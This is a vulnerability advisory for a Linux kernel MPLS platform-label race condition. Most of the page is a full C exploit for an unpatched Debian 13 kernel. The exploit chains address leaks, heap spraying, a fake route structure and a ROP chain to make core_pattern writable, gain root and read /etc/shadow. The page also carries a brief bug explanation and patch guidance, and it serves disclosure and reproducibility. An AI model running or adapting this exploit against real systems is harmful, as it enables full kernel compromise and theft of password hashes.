Summary
Linux published the new size of an MPLS route table before publishing the new table itself. A packet arriving in that small window could pass the check for the larger size and then index beyond the end of the old table.
The ordering bug was introduced in March 2015 and fixed upstream in March 2026. The public exploit was later validated on Debian 13 with Linux 6.12.101.
Why it mattered
An attacker able to resize MPLS labels and deliver packets in a network namespace could race the update. The out-of-bounds lookup could crash the kernel or turn nearby memory into an attacker-influenced pointer dereference.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
resize_platform_label_table() updated platform_labels before the RCU-protected platform_label pointer. Lockless readers saw a mismatched pair: a new, larger bound together with the old, smaller allocation.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
sleep(8); return 0; } atomic_store_explicit(&stop_flag, true, memory_order_relaxed); fprintf(stderr, "[-] race timed out\n"); kill(watcher, SIGKILL); return 1;}
int main(int argc, char **argv){ if (argc > 1) return root_helper(argv[1]); return run_exploit();}
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/keyctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "kernelsnitch.h"
#include "leak.h"
/* Stock Debian 13, linux-image-6.12.101+deb13-amd64 (6.12.101-1). */
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define OFF_PIVOT_RBP UINT64_C(0xb28a0)
#define OFF_POP_RSI UINT64_C(0xccc21d)
#define OFF_POP_RDI_RDI UINT64_C(0x8148e0)
#define OFF_WRITE4 UINT64_C(0x2c002e)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec)
#define OFF_HALT_LOOP UINT64_C(0x5096d)
#define MM_STRUCT_SIZE 1408UL
#define MM_SLAB_ORDER 3UL
#define MM_SLAB_BYTES (PAGE_SIZE << MM_SLAB_ORDER)
#define MM_OBJECTS_PER_SLAB (MM_SLAB_BYTES / MM_STRUCT_SIZE)
#define MM_PARTIALS 10
#define PHYSMAP_SEARCH_BACK (2ULL << 30)
#define PHYSMAP_SEARCH_BYTES (10ULL << 30)
#define FRAG_SEND_LEN (FRAG_LINEAR_LEN + STAGE2_BYTES)
#define FRAG_LINEAR_LEN 3616
#define STAGE2_BYTES MM_SLAB_BYTES
#define ROUTE_OFFSET 0x600UL
#define DEVICE_OFFSET 0x800UL
#define HEADER_OPS_OFFSET 0xd00UL
#define DEV_HEADER_OPS 0x10UL
#define DEV_MTU 0x38UL
#define DEV_NEEDED_HEADROOM 0x3cUL
#define DEV_STATE 0xa8UL
#define DEV_FLAGS 0xb0UL
#define DEV_HARD_HEADER_LEN 0xb4UL
#define DEV_MPLS_PTR 0x428UL
#define DEV_ADDR 0x430UL
#define KEY_PAYLOAD_LEN 104
#define KEY_SPEC_PROCESS_KEYRING -2
#define KEY_SPRAY_MAX 180
#define WRITER_THREADS 4
#define MPLS_NEIGH_TABLE_UNSPEC 3
struct mm_ctx {
size_t count;
pid_t *children;
int *memfds;
};
struct mm_search_range {
struct kernelsnitch_shared_state *ks;
size_t start;
size_t end;
};
struct writer_ctx {
int cpu;
int id;
};
struct sender_ctx {
int ifindex;
unsigned char src[6];
unsigned char dst[6];
int cpu;
};
static struct mm_ctx prepare_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
static struct kernelsnitch_shared_state *ks;
static pid_t leak_child;
static int leak_memfd = -1;
static pid_t main_pid;
static atomic_bool stop_flag;
static int won_pipe[2];
static long route_key_serials[KEY_SPRAY_MAX];
static int route_key_count;
static unsigned char route_key_payload[KEY_PAYLOAD_LEN];
static void put8(unsigned char *buffer, size_t length, size_t offset,
uint8_t value)
{
if (offset < length)
buffer[offset] = value;
}
static void put16(unsigned char *buffer, size_t length, size_t offset,
uint16_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static void put32(unsigned char *buffer, size_t length, size_t offset,
uint32_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static void put64(unsigned char *buffer, size_t length, size_t offset,
uint64_t value)
{
if (offset + sizeof(value) <= length)
memcpy(buffer + offset, &value, sizeof(value));
}
static double monotonic_seconds(void)
{
struct timespec now;
SYSCHK(clock_gettime(CLOCK_MONOTONIC, &now));
return now.tv_sec + now.tv_nsec / 1000000000.0;
}
static void *search_mm_struct_range(void *argument)
{
struct mm_search_range *range = argument;
struct kernelsnitch_shared_state *state = range->ks;
for (size_t slab = range->start; slab < range->end && !state->found;
slab += MM_SLAB_BYTES) {
for (size_t candidate = slab;
candidate < slab + MM_SLAB_BYTES && !state->found;
candidate += state->mm_struct_sz) {
int matches = 1;
for (size_t i = 1; i < state->collisions && matches; i++)
matches = futex_hash(state->futex_addrs[0], candidate) ==
futex_hash(state->futex_addrs[i], candidate);
if (matches) {
state->mm_struct = candidate;
state->found = 1;
}
}
}
return NULL;
}
static void kernelsnitch_bruteforce_physmap(
struct kernelsnitch_shared_state *state, uint64_t physmap)
{
size_t search_start = (physmap - PHYSMAP_SEARCH_BACK) &
~(MM_SLAB_BYTES - 1);
size_t search_end = search_start + PHYSMAP_SEARCH_BYTES;
size_t chunk = (PHYSMAP_SEARCH_BYTES + state->thread_cnt - 1) /
state->thread_cnt;
struct mm_search_range *ranges;
chunk = (chunk + MM_SLAB_BYTES - 1) & ~(MM_SLAB_BYTES - 1);
ranges = calloc(state->thread_cnt, sizeof(*ranges));
if (!ranges)
pr_error("calloc mm search ranges: %m\n");
printf("[.] KernelSnitch search: %#zx-%#zx (%zu threads)\n",
search_start, search_end, state->thread_cnt);
reset_cpu_pin();
for (size_t i = 0; i < state->thread_cnt; i++) {
ranges[i].ks = state;
ranges[i].start = search_start + i * chunk;
ranges[i].end = ranges[i].start + chunk;
if (ranges[i].end > search_end)
ranges[i].end = search_end;
if (pthread_create(&state->tids[i], NULL,
search_mm_struct_range, &ranges[i]))
pr_error("pthread_create mm search: %m\n");
}
for (size_t i = 0; i < state->thread_cnt; i++)
pthread_join(state->tids[i], NULL);
free(ranges);
state->state = state->mm_struct == (size_t)-1 ?
KERNELSNITCH_MM_NOT_FOUND : KERNELSNITCH_MM_FOUND;
}
static void init_ctx(struct mm_ctx *ctx, size_t count)
{
ctx->count = count;
ctx->children = calloc(count, sizeof(*ctx->children));
ctx->memfds = calloc(count, sizeof(*ctx->memfds));
if (!ctx->children || !ctx->memfds)
pr_error("calloc mm context: %m\n");
for (size_t i = 0; i < count; i++)
ctx->memfds[i] = -1;
}
static pid_t clone_sleeper(void)
{
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (!child) {
pin_to_core(0);
for (;;)
pause();
}
return child;
}
static pid_t clone_leaker(void)
{
pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
if (!child) {
#ifndef PR_FUTEX_HASH_SET_SLOTS
#define PR_FUTEX_HASH_SET_SLOTS 1
#endif
#ifndef PR_FUTEX_HASH
#define PR_FUTEX_HASH 78
#endif
(void)prctl(PR_FUTEX_HASH, PR_FUTEX_HASH_SET_SLOTS, 0, 0);
kernelsnitch_find_collisions(ks);
_exit(0);
}
return child;
}
static int open_mm(pid_t child)
{
char path[64];
snprintf(path, sizeof(path), "/proc/%d/mem", child);
return SYSCHK(open(path, O_RDONLY | O_CLOEXEC));
}
static void kill_child(pid_t child)
{
if (child <= 0)
return;
if (kill(child, SIGKILL) < 0 && errno != ESRCH)
pr_error("kill child: %m\n");
while (waitpid(child, NULL, 0) < 0 && errno == EINTR)
;
}
static void close_ctx_fds(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
if (ctx->memfds[i] >= 0) {
close(ctx->memfds[i]);
ctx->memfds[i] = -1;
}
}
}
static void kill_ctx_children(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
kill_child(ctx->children[i]);
ctx->children[i] = 0;
}
}
static void cleanup_children(void)
{
if (getpid() != main_pid)
return;
close_ctx_fds(&prepare_ctx);
close_ctx_fds(&spray_ctx);
close_ctx_fds(&pre_ctx);
close_ctx_fds(&post_ctx);
if (leak_memfd >= 0)
close(leak_memfd);
kill_ctx_children(&prepare_ctx);
kill_ctx_children(&spray_ctx);
kill_ctx_children(&pre_ctx);
kill_ctx_children(&post_ctx);
}
static void allocate_ctx(struct mm_ctx *ctx)
{
for (size_t i = 0; i < ctx->count; i++) {
ctx->children[i] = clone_sleeper();
ctx->memfds[i] = open_mm(ctx->children[i]);
}
}
static uint64_t prepare_known_page(uint64_t physmap, uint64_t slide,
int frag_sv[2])
{
unsigned char *frag_buffer = calloc(1, FRAG_SEND_LEN);
unsigned char *stage2 = calloc(1, STAGE2_BYTES);
uint64_t leaked_mm;
uint64_t page;
double started;
init_ctx(&prepare_ctx, 4 * MM_OBJECTS_PER_SLAB);
init_ctx(&spray_ctx, (1 + MM_PARTIALS) * MM_OBJECTS_PER_SLAB);
init_ctx(&pre_ctx, MM_OBJECTS_PER_SLAB - 1);
init_ctx(&post_ctx, MM_OBJECTS_PER_SLAB);
allocate_ctx(&prepare_ctx);
allocate_ctx(&spray_ctx);
ks = kernelsnitch_setup(MM_STRUCT_SIZE, MM_SLAB_ORDER,
sysconf(_SC_NPROCESSORS_ONLN), 8, 1, 0);
pin_to_core(1);
for (size_t i = 0; i < pre_ctx.count; i++)
pre_ctx.children[i] = clone_sleeper();
leak_child = clone_leaker();
for (size_t i = 0; i < post_ctx.count; i++)
post_ctx.children[i] = clone_sleeper();
for (size_t i = 0; i < pre_ctx.count; i++)
pre_ctx.memfds[i] = open_mm(pre_ctx.children[i]);
leak_memfd = open_mm(leak_child);
for (size_t i = 0; i < post_ctx.count; i++)
post_ctx.memfds[i] = open_mm(post_ctx.children[i]);
kill_ctx_children(&pre_ctx);
kill_ctx_children(&post_ctx);
kill_ctx_children(&spray_ctx);
SYSCHK(waitpid(leak_child, NULL, 0));
leak_child = 0;
if (!kernelsnitch_found_collisions(ks))
pr_error("KernelSnitch collision phase failed\n");
started = monotonic_seconds();
kernelsnitch_bruteforce_physmap(ks, physmap);
leaked_mm = kernelsnitch_cleanup(ks);
ks = NULL;
if (leaked_mm == UINT64_MAX)
pr_error("KernelSnitch address phase failed\n");
page = leaked_mm & ~(MM_SLAB_BYTES - 1);
printf("[+] known slab page=%#llx (search %.3fs)\n",
(unsigned long long)page, monotonic_seconds() - started);
/* Free every object in the selected order-2 slab, preserving the rest. */
pin_to_core(1);
for (size_t i = 0; i < spray_ctx.count / 2;
i += MM_OBJECTS_PER_SLAB) {
close(spray_ctx.memfds[i]);
spray_ctx.memfds[i] = -1;
}
for (size_t i = 0; i < pre_ctx.count; i++) {
close(pre_ctx.memfds[i]);
pre_ctx.memfds[i] = -1;
}
for (size_t i = 0; i + 1 < post_ctx.count; i++) {
close(post_ctx.memfds[i]);
post_ctx.memfds[i] = -1;
}
for (size_t i = spray_ctx.count / 2; i < spray_ctx.count;
i += MM_OBJECTS_PER_SLAB) {
close(spray_ctx.memfds[i]);
spray_ctx.memfds[i] = -1;
}
close(leak_memfd);
leak_memfd = -1;
/* Build the fake route, device, header_ops, and ROP stack. */
memset(stage2, 0, STAGE2_BYTES);
uint64_t route = page + ROUTE_OFFSET;
uint64_t dev = page + DEVICE_OFFSET;
uint64_t hops = page + HEADER_OPS_OFFSET;
uint64_t pivot = KERNEL_BASE + slide + OFF_PIVOT_RBP;
uint64_t pop_rsi = KERNEL_BASE + slide + OFF_POP_RSI;
uint64_t pop_rdi_rdi = KERNEL_BASE + slide + OFF_POP_RDI_RDI;
uint64_t write4 = KERNEL_BASE + slide + OFF_WRITE4;
uint64_t mode = KERNEL_BASE + slide + OFF_CORE_PATTERN_MODE;
uint64_t halt_loop = KERNEL_BASE + slide + OFF_HALT_LOOP;
size_t ro = ROUTE_OFFSET;
size_t nd = DEVICE_OFFSET;
uint64_t *q = (uint64_t *)(stage2 + nd);
/* struct mpls_route: rt_nhn=1 makes rt_nh start at +0x20. */
put8(stage2, STAGE2_BYTES, ro + 20, 1);
put8(stage2, STAGE2_BYTES, ro + 21, 1);
put64(stage2, STAGE2_BYTES, ro + 0x20, dev);
put32(stage2, STAGE2_BYTES, ro + 0x28, 0);
put8(stage2, STAGE2_BYTES, ro + 0x2c, 1);
put8(stage2, STAGE2_BYTES, ro + 0x2e, MPLS_NEIGH_TABLE_UNSPEC);
put32(stage2, STAGE2_BYTES, ro + 0x30, 16U << 12);
/* pc2 pivots to rbp==fake dev; consume header_ops before the chain. */
q[0] = 0;
q[1] = pop_rdi_rdi;
q[2] = hops; /* also dev->header_ops */
q[3] = 0;
q[4] = pop_rsi;
q[5] = mode;
q[6] = pop_rdi_rdi;
q[7] = 0xffff; /* also mtu=65535, headroom=0 */
q[8] = 0x070001b6; /* sysctl mode=0666, maxlen unchanged */
q[9] = write4;
q[10] = halt_loop;
put64(stage2, STAGE2_BYTES, nd + DEV_HEADER_OPS, hops);
put32(stage2, STAGE2_BYTES, nd + DEV_MTU, 65535);
put16(stage2, STAGE2_BYTES, nd + DEV_NEEDED_HEADROOM, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_STATE, 0);
put32(stage2, STAGE2_BYTES, nd + DEV_FLAGS, IFF_UP);
put16(stage2, STAGE2_BYTES, nd + DEV_HARD_HEADER_LEN, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_MPLS_PTR, 0);
put64(stage2, STAGE2_BYTES, nd + DEV_ADDR, page + 0xe00);
put64(stage2, STAGE2_BYTES, HEADER_OPS_OFFSET, pivot);
memset(frag_buffer, 0, FRAG_SEND_LEN);
memcpy(frag_buffer + FRAG_LINEAR_LEN, stage2, STAGE2_BYTES);
struct iovec iov = {
.iov_base = frag_buffer,
.iov_len = FRAG_SEND_LEN,
};
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, frag_sv));
if (SYSCHK(sendmsg(frag_sv[0], &message, 0)) != FRAG_SEND_LEN)
pr_error("short known-page sendmsg\n");
printf("[+] staged fake route=%#llx dev=%#llx callback=%#llx\n",
(unsigned long long)route, (unsigned long long)dev,
(unsigned long long)pivot);
close_ctx_fds(&prepare_ctx);
close_ctx_fds(&spray_ctx);
close_ctx_fds(&post_ctx);
kill_ctx_children(&prepare_ctx);
free(stage2);
free(frag_buffer);
return route;
}
static int root_helper(const char *pid_string)
{
char buffer[4096];
int pid = atoi(pid_string);
int pfd = syscall(SYS_pidfd_open, pid, 0);
int out = syscall(SYS_pidfd_getfd, pfd, STDOUT_FILENO, 0);
const char *paths[] = { "/flag", "/etc/shadow" };
if (out >= 0)
dup2(out, STDOUT_FILENO);
(void)!write(STDOUT_FILENO, "DEBIAN_ROOT_OK\n", 15);
for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
int fd = open(paths[i], O_RDONLY);
ssize_t length;
if (fd < 0)
continue;
length = read(fd, buffer, sizeof(buffer));
close(fd);
if (length > 0) {
(void)!write(STDOUT_FILENO, buffer, length);
if (buffer[length - 1] != '\n')
(void)!write(STDOUT_FILENO, "\n", 1);
}
}
return 0;
}
static void watch_dirty_mode(void)
{
const char pattern[] = "|/proc/%P/fd/666 %P";
struct rlimit limit;
int fd;
pin_to_core(0);
while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0)
usleep(2000);
if (write(fd, pattern, sizeof(pattern) - 1) < 0)
_exit(1);
close(fd);
(void)!write(won_pipe[1], "W", 1);
puts("[+] core_pattern became writable");
if (!fork()) {
int self = open("/proc/self/exe", O_RDONLY);
int memfd = memfd_create("_nebusec", 0);
sendfile(memfd, self, NULL, 1U << 30);
dup2(memfd, 666);
close(self);
close(memfd);
if (!getrlimit(RLIMIT_CORE, &limit)) {
limit.rlim_cur = limit.rlim_max;
setrlimit(RLIMIT_CORE, &limit);
}
signal(SIGSEGV, SIG_DFL);
*(volatile unsigned long *)0 = 0;
_exit(1);
}
sleep(8);
_exit(0);
}
static int read_mac(const char *ifname, unsigned char mac[6])
{
struct ifreq ifr = { 0 };
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) {
close(fd);
return -1;
}
memcpy(mac, ifr.ifr_hwaddr.sa_data, 6);
close(fd);
return 0;
}
static long add_user_key(const char *name, const void *payload, size_t length)
{
return syscall(SYS_add_key, "user", name, payload, length,
KEY_SPEC_PROCESS_KEYRING);
}
static void spray_route_keys(uint64_t route)
{
char name[48];
int count = 0;
memset(route_key_payload, 0x41, sizeof(route_key_payload));
memcpy(route_key_payload, &route, sizeof(route));
for (int i = 0; i < KEY_SPRAY_MAX; i++) {
snprintf(name, sizeof(name), "_nebusec__-%d-%d", getpid(), i);
route_key_serials[i] = add_user_key(name, route_key_payload,
sizeof(route_key_payload));
if (route_key_serials[i] < 0)
break;
count++;
}
if (count < 32)
pr_error("insufficient key spray: %d (%m)\n", count);
for (int i = 0; i < count; i += 2)
SYSCHK(syscall(SYS_keyctl, KEYCTL_REVOKE,
route_key_serials[i], 0, 0, 0));
usleep(250000);
route_key_count = count;
printf("[+] route-key spray: %d allocated, %d controlled live\n",
count, count / 2);
}
static void *writer_thread(void *argument)
{
struct writer_ctx *ctx = argument;
const char high[] = "20\n";
const char low[] = "16\n";
unsigned long loops = 0;
int fd;
pin_to_core(ctx->cpu);
/* Make every timerfd wakeup preempt this thread inside the store pair. */
(void)setpriority(PRIO_PROCESS, 0, 19);
fd = SYSCHK(open("/proc/sys/net/mpls/platform_labels",
O_WRONLY | O_CLOEXEC));
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
int key_index;
if (pwrite(fd, high, sizeof(high) - 1, 0) != sizeof(high) - 1)
break;
/*
* Consume the just-freed low-table slot with a fresh controlled
* payload. The next low allocation is forced onto a different
* spray hole, cycling the table through many physical neighbours.
*/
key_index = 1 + 2 * ((loops + ctx->id) %
(route_key_count / 2));
(void)syscall(SYS_keyctl, KEYCTL_UPDATE,
route_key_serials[key_index], route_key_payload,
sizeof(route_key_payload));
if (pwrite(fd, low, sizeof(low) - 1, 0) != sizeof(low) - 1)
break;
loops++;
}
printf("[.] writer loops=%lu\n", loops);
return NULL;
}
static void *timer_jammer(void *unused)
{
struct itimerspec its = { 0 };
uint64_t expirations;
int fd;
(void)unused;
pin_to_core(0);
fd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC));
its.it_value.tv_nsec = 1000;
its.it_interval.tv_nsec = 1000;
SYSCHK(timerfd_settime(fd, 0, &its, NULL));
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed))
(void)read(fd, &expirations, sizeof(expirations));
return NULL;
}
static void build_frame(unsigned char *frame, const struct sender_ctx *ctx)
{
struct ethhdr *eth = (struct ethhdr *)frame;
uint32_t entry = (19U << 12) | (1U << 8) | 64U;
memset(frame, 0, 64);
memcpy(eth->h_dest, ctx->dst, ETH_ALEN);
memcpy(eth->h_source, ctx->src, ETH_ALEN);
eth->h_proto = htons(ETH_P_MPLS_UC);
entry = htonl(entry);
memcpy(frame + sizeof(*eth), &entry, sizeof(entry));
}
static void *sender_thread(void *argument)
{
struct sender_ctx *ctx = argument;
struct sockaddr_ll address = { 0 };
unsigned char frame[64];
int one = 1;
int fd;
pin_to_core(ctx->cpu);
fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_MPLS_UC)));
setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
address.sll_family = AF_PACKET;
address.sll_protocol = htons(ETH_P_MPLS_UC);
address.sll_ifindex = ctx->ifindex;
address.sll_halen = ETH_ALEN;
memcpy(address.sll_addr, ctx->dst, ETH_ALEN);
build_frame(frame, ctx);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed))
(void)sendto(fd, frame, sizeof(struct ethhdr) + sizeof(uint32_t), 0,
(struct sockaddr *)&address, sizeof(address));
return NULL;
}
static void autoload_mpls(void)
{
int fd = socket(AF_MPLS, SOCK_RAW, 0);
if (fd >= 0)
close(fd);
usleep(100000);
}
static void setup_mpls_namespace(void)
{
static const char command[] =
"ip link add _neb0 type veth peer name _neb1 && "
"ip link set _neb0 up && ip link set _neb1 up";
set_user_namespace();
if (system(command))
pr_error("failed to configure veth pair\n");
write_file("/proc/sys/net/mpls/conf/_neb1/input", "1\n");
write_file("/proc/sys/net/mpls/platform_labels", "0\n");
}
static int run_exploit(void)
{
struct writer_ctx writer_context[WRITER_THREADS];
struct sender_ctx send_context[8];
pthread_t writers[WRITER_THREADS];
pthread_t jammer;
pthread_t senders[8];
uint64_t slide;
uint64_t physmap;
uint64_t route;
int frag_sv[2];
double started = monotonic_seconds();
fd_set read_set;
struct timeval timeout = { .tv_sec = 200 };
char won;
set_unbuffer();
set_limit();
main_pid = getpid();
atexit(cleanup_children);
autoload_mpls();
if (pipe(won_pipe))
pr_error("pipe: %m\n");
pid_t watcher = SYSCHK(fork());
if (!watcher)
watch_dirty_mode();
pin_to_core(1);
slide = leak_image_slide(KERNEL_IMAGE_PAGES);
physmap = leak_phys_map_base_stable(11);
printf("[+] prefetch completed in %.3fs\n", monotonic_seconds() - started);
route = prepare_known_page(physmap, slide, frag_sv);
setup_mpls_namespace();
pin_to_core(0);
spray_route_keys(route);
for (size_t i = 0; i < WRITER_THREADS; i++) {
writer_context[i].cpu = 0;
writer_context[i].id = i;
SYSCHK(pthread_create(&writers[i], NULL, writer_thread,
&writer_context[i]));
}
SYSCHK(pthread_create(&jammer, NULL, timer_jammer, NULL));
for (size_t i = 0; i < sizeof(senders) / sizeof(senders[0]); i++) {
memset(&send_context[i], 0, sizeof(send_context[i]));
send_context[i].ifindex = if_nametoindex("_neb0");
send_context[i].cpu = 1;
if (read_mac("_neb0", send_context[i].src) ||
read_mac("_neb1", send_context[i].dst))
pr_error("read veth MAC: %m\n");
SYSCHK(pthread_create(&senders[i], NULL, sender_thread,
&send_context[i]));
}
puts("[.] racing controlled MPLS label 19");
FD_ZERO(&read_set);
FD_SET(won_pipe[0], &read_set);
if (select(won_pipe[0] + 1, &read_set, NULL, NULL, &timeout) > 0 &&
read(won_pipe[0], &won, 1) == 1) {
printf("[+] exploit won in %.3fs\n", monotonic_seconds() - started);
sleep(8);
return 0;
}
atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
fprintf(stderr, "[-] race timed out\n");
kill(watcher, SIGKILL);
return 1;
}
int main(int argc, char **argv)
{
if (argc > 1)
return root_helper(argv[1]);
return run_exploit();
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in March 2026. The fixed update publishes a consistent size-and-table view to concurrent readers. Install a distribution kernel containing the March 2026 upstream correction.
The safest check is the distribution’s own kernel changelog for CVE-2026-43042;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
